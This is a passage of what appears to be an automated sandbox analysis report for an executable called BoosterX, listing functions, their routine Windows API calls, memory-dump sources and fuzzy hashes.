SetFileTime.KERNELBASE ref: 00007FF6C0362B5B

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: File$BuffersFlushTime
String ID:
API String ID: 1392018926-0
Opcode ID: e2360d92fa371ec3cf3789b724fac7dc0eee746b57302bb10420cb3d80e8e918
Instruction ID: 9a89c672f1c266d0169816fb5b30835f36890fbd4658a6d77d6f5be0778d202a
Opcode Fuzzy Hash: e2360d92fa371ec3cf3789b724fac7dc0eee746b57302bb10420cb3d80e8e918
Instruction Fuzzy Hash: 5E219C22E0AB4775EA718E91E5013BA6790BF41796F168431DF8CC6391EF7DD48AC204

Function 00007FF6C036AAA0 Relevance: 3.1, APIs: 2, Instructions: 52COMMON

Download Yara Rule

APIs

LoadStringW.USER32 ref: 00007FF6C036AB27
LoadStringW.USER32 ref: 00007FF6C036AB40

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: LoadString
String ID:
API String ID: 2948472770-0
Opcode ID: 50b4215183bbe14799031b3cc2031c8d40844f06fe2ec6e88c7f343e0a5df25c
Instruction ID: d0e3e37d10a8b8e16fa992e1eb80be4c38f6503cc9879a0cdd4eb2eb5152dbad
Opcode Fuzzy Hash: 50b4215183bbe14799031b3cc2031c8d40844f06fe2ec6e88c7f343e0a5df25c
Instruction Fuzzy Hash: 4F115871B08B4296EB009F16E884169B7A1BB89FC6F544439CA8DE3725DF7CE5418748

Function 00007FF6C0362B70 Relevance: 3.0, APIs: 2, Instructions: 47COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE ref: 00007FF6C0362BD1
GetLastError.KERNEL32 ref: 00007FF6C0362BDE

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: b516d334dd1c85efa09aca89d3d43d2e2cc6a6d2d54fdbc8055284d5c2cf1125
Instruction ID: 09168fd3767ecd97a9dcb1bee473c7576babe0917f58300e378b0b3cb7546e4e
Opcode Fuzzy Hash: b516d334dd1c85efa09aca89d3d43d2e2cc6a6d2d54fdbc8055284d5c2cf1125
Instruction Fuzzy Hash: F1119A21A18A43A1FB608F25E4816A97760FB84BA6F554332DBADD73E5CF3DD486C304

Function 00007FF6C035255C Relevance: 3.0, APIs: 2, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6C036A46C: swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6C036A4C4
Part of subcall function 00007FF6C036A46C: SetDlgItemTextW.USER32 ref: 00007FF6C036A533
Part of subcall function 00007FF6C036A46C: GetWindowRect.USER32 ref: 00007FF6C036A56D
Part of subcall function 00007FF6C036A46C: GetClientRect.USER32 ref: 00007FF6C036A57B

GetDlgItem.USER32 ref: 00007FF6C03525AC
SetWindowTextW.USER32 ref: 00007FF6C03525C8

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: ItemRectTextWindow$Clientswprintf
String ID:
API String ID: 3322643685-0
Opcode ID: b1e1e049dd5e2ad137b0382b0bc9e4d843d915bd339b20a0dba0486b348c3455
Instruction ID: 5ab3c9c486fdb9b771379ec54c3dd5db04bd57b899a600e3d0c09bd72ca9dfac
Opcode Fuzzy Hash: b1e1e049dd5e2ad137b0382b0bc9e4d843d915bd339b20a0dba0486b348c3455
Instruction Fuzzy Hash: B4017124A0D64B61FF595F52A458279A391AF8774AF080434EDCDC63EAEF6CE984C304

Function 00007FF6C036EAD4 Relevance: 3.0, APIs: 2, Instructions: 23COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,00007FF6C036EB29,?,?,?,?,00007FF6C0365712,?,?,?,00007FF6C036569E), ref: 00007FF6C036EAD8
GetProcessAffinityMask.KERNEL32 ref: 00007FF6C036EAEB

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: Process$AffinityCurrentMask
String ID:
API String ID: 1231390398-0
Opcode ID: 79722ee71258bf1dae4358653295d549d31541bd73e3f7913cc80f15ba5fc09c
Instruction ID: fb5ba4b683e99d7149ba9b99270e59f81d54bade6e3f46bd95d86f665623af63
Opcode Fuzzy Hash: 79722ee71258bf1dae4358653295d549d31541bd73e3f7913cc80f15ba5fc09c
Instruction Fuzzy Hash: BCE02B61F1858792DF088F55D4414E96391FFC8B41B848036D54FC3714DF2CE54D8B00

Function 00007FF6C0382150 Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6C0382180

Part of subcall function 00007FF6C0382EFC: std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6C0382F05

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6C0382186

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: Concurrency::cancel_current_task$std::bad_alloc::bad_alloc
String ID:
API String ID: 1173176844-0
Opcode ID: 1bb7e24e02d919eeb5b6f2c6636e471bde2a2032dbf585f53a3051670f130e73
Instruction ID: 17c431d6a22654abd66f4d7c6f1708c41ed1e910371629c891496cbb430238e4
Opcode Fuzzy Hash: 1bb7e24e02d919eeb5b6f2c6636e471bde2a2032dbf585f53a3051670f130e73
Instruction Fuzzy Hash: 1EE0EC40E1950B35FD182E6118691B500500F587B2F681BF3DFBDC83D7AF1CA5628118

Function 00007FF6C038D88C Relevance: 3.0, APIs: 2, Instructions: 19memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL ref: 00007FF6C038D8A2
GetLastError.KERNEL32 ref: 00007FF6C038D8B4

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: d6a2b49c909fc4b479ef785cefb012946a1a1cb3df5903558656f65a622c367e
Instruction ID: 1ce3be04a738200bd6cf19a92b1fc6ad28e8c6364dd5c8621f305915693cc6c9
Opcode Fuzzy Hash: d6a2b49c909fc4b479ef785cefb012946a1a1cb3df5903558656f65a622c367e
Instruction Fuzzy Hash: 58E0EC50E09643A6FF5AAFF2A8451B813D19F94B57F084177C98DC7391EF2CA4868600

Function 00007FF6C03533E4 Relevance: 1.8, APIs: 1, Instructions: 328COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C035388C

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: 00581cda7c60666db16e18db7aade68d96d0221c5bdb1fc775c713f5809bd176
Instruction ID: 7a200e8fbd88cd2cf995d1692166fae08b190655f2998eea0775a3959f5239f9
Opcode Fuzzy Hash: 00581cda7c60666db16e18db7aade68d96d0221c5bdb1fc775c713f5809bd176
Instruction Fuzzy Hash: 82D1B46AB0C68B76EB288F2595802B977A1FB45B86F040435DF9DCB7B1CF38E4658700

Function 00007FF6C037CA50 Relevance: 1.7, APIs: 1, Instructions: 196COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C037CD64

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: bb382b1398f5ed301b51dcc9be6bbe705c3f4ace3879a963b5b237ae590ad562
Instruction ID: d5120e4f8e649da19d93df482b8a9cda2a155c85151459f2b279b00338297252
Opcode Fuzzy Hash: bb382b1398f5ed301b51dcc9be6bbe705c3f4ace3879a963b5b237ae590ad562
Instruction Fuzzy Hash: 57917062F24A13E8FB10CF68D9851AC2771AB40769F55063ADE9DD2BD9DF38D586C300

Function 00007FF6C03717F0 Relevance: 1.7, APIs: 1, Instructions: 172COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6C036E8C4: ReleaseSemaphore.KERNEL32 ref: 00007FF6C036E8F0
Part of subcall function 00007FF6C036E8C4: CloseHandle.KERNELBASE ref: 00007FF6C036E90F
Part of subcall function 00007FF6C036E8C4: DeleteCriticalSection.KERNEL32 ref: 00007FF6C036E926
Part of subcall function 00007FF6C036E8C4: CloseHandle.KERNEL32 ref: 00007FF6C036E933

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C0371A4B

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: CloseHandle$CriticalDeleteReleaseSectionSemaphore_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 904680172-0
Opcode ID: a30e5f59f21d382daf2aa534973ebb390bb07a415331e4e742966db39958626a
Instruction ID: d2a9848577b737e5432a771c0a4f7ab4d8f89c285a176758078cef94c22963c1
Opcode Fuzzy Hash: a30e5f59f21d382daf2aa534973ebb390bb07a415331e4e742966db39958626a
Instruction Fuzzy Hash: 66618E63B15A86B2EE08DF69D6940BC7365FB41F91B544232DBADC7BC2CF28E5618304

Function 00007FF6C035ECAC Relevance: 1.6, APIs: 1, Instructions: 145COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C035EEC8

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: 03611529b89fbcd6f417b6da4cd687b86cf868a6bbb853273952e866da9f3ba1
Instruction ID: 35cd26b3528020b8cb5e54519d46ce747f5bd180364076ab6c6ff4d092095774
Opcode Fuzzy Hash: 03611529b89fbcd6f417b6da4cd687b86cf868a6bbb853273952e866da9f3ba1
Instruction Fuzzy Hash: 5A51BE66A0C68361EA189F25E4493A92761FB86BD6F540136EECDC73E2CF3DE4858300

Function 00007FF6C035E7B8 Relevance: 1.6, APIs: 1, Instructions: 118COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6C0363E88: FindClose.KERNELBASE(?,?,00000000,00007FF6C0370791), ref: 00007FF6C0363EBD

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C035E9A3

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: CloseFind_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1011579015-0
Opcode ID: 9e468f688a81c359972c1e635341c92bb124f052ba55343c2094050d5c517733
Instruction ID: f40c339de8cde2b17c398b612eca1a8d521be1156536c4527e9ec688ecd4e577
Opcode Fuzzy Hash: 9e468f688a81c359972c1e635341c92bb124f052ba55343c2094050d5c517733
Instruction Fuzzy Hash: 57516A26A0CA87A1FA648F29D4453A93361FB85B85F540236EACDC77F6DF2CE4418714

Function 00007FF6C036174C Relevance: 1.6, APIs: 1, Instructions: 115COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C0361835

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: 3b8f437387dd1d4006b3f02e2e1b944d07b0b9290f566582f8b0ac23e0e9883b
Instruction ID: df22effc20c3f63b5ee1533ff2034ab0a386b495f12a307f10dde4d56fea195e
Opcode Fuzzy Hash: 3b8f437387dd1d4006b3f02e2e1b944d07b0b9290f566582f8b0ac23e0e9883b
Instruction Fuzzy Hash: 4F41D562B18A9651EA149E17E944379A2A1FB44FC1F488536EF8CC7F4ADF3CD4518300

Function 00007FF6C038BD78 Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF6C038BDA0

Part of subcall function 00007FF6C038BF30: GetModuleHandleExW.KERNEL32 ref: 00007FF6C038BF50
Part of subcall function 00007FF6C038BF30: GetProcAddress.KERNEL32 ref: 00007FF6C038BF66
Part of subcall function 00007FF6C038BF30: FreeLibrary.KERNEL32 ref: 00007FF6C038BF8B

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: 2a2f1167b8a5567a1982a90cfda6841d20d3bae0c3aade27efee51deb8b54578
Instruction ID: 5fc96bb8b27aa4d1d0b6237240f4fd57705d95c8c40664ac1291386a9432cbb7
Opcode Fuzzy Hash: 2a2f1167b8a5567a1982a90cfda6841d20d3bae0c3aade27efee51deb8b54578
Instruction Fuzzy Hash: DA41BF21E19A03A6FB249F11A8502782761AF90B86F94457BDA8DC77D2CF3DF844CB40

Function 00007FF6C035129C Relevance: 1.6, APIs: 1, Instructions: 73COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6C0351396

Part of subcall function 00007FF6C0351F80: std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6C0351F89

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: Concurrency::cancel_current_taskstd::bad_alloc::bad_alloc
String ID:
API String ID: 680105476-0
Opcode ID: 94b01ba5859182e293f6773a60cabc646bafe9d6d8f66b1fcd49a87c24f4ac40
Instruction ID: e616f23315714c960c4e871a05d33ea91841ca17286c2bde20ce1b72ce3793c0
Opcode Fuzzy Hash: 94b01ba5859182e293f6773a60cabc646bafe9d6d8f66b1fcd49a87c24f4ac40
Instruction Fuzzy Hash: 67218E2AA08652A5EA149E92E4102797250EB05FF1F680B31DFBDCBBE5DF7CE4518344

Function 00007FF6C03911CC Relevance: 1.6, APIs: 1, Instructions: 51COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6C0391200

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 1ba0ab62ba35dd53ebd3373b140bbd3b037d016492b4c350d3702476c2c82e75
Instruction ID: 2051b89e2bd8688208d4d42cc77b697a183c12867610e3eedcbbf1315b484b91
Opcode Fuzzy Hash: 1ba0ab62ba35dd53ebd3373b140bbd3b037d016492b4c350d3702476c2c82e75
Instruction Fuzzy Hash: 0111492291C787A6E720AF50A48063963A4FB40B86F550936EACDD7796DF2CE8008700

Function 00007FF6C0353AD8 Relevance: 1.5, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C0353B6C

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: 569c634512f381af965fa2c66bca64ac59e19598741f6191cb67c2c779fbbc01
Instruction ID: d7bee4e73c0a6d53141b52486a60702834cf9988b25caaa42e403b0256b6f959
Opcode Fuzzy Hash: 569c634512f381af965fa2c66bca64ac59e19598741f6191cb67c2c779fbbc01
Instruction Fuzzy Hash: AB01C4A6E1C68751EA149F28E4452697361FF897A1F505332EBDCCBBA5EF2CD1408704

Function 00007FF6C03814D8 Relevance: 1.5, APIs: 1, Instructions: 38COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF6C0381584: GetModuleHandleW.KERNEL32(?,?,?,00007FF6C03814F3,?,?,?,00007FF6C03818AA), ref: 00007FF6C03815AB

DloadProtectSection.DELAYIMP ref: 00007FF6C0381549

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

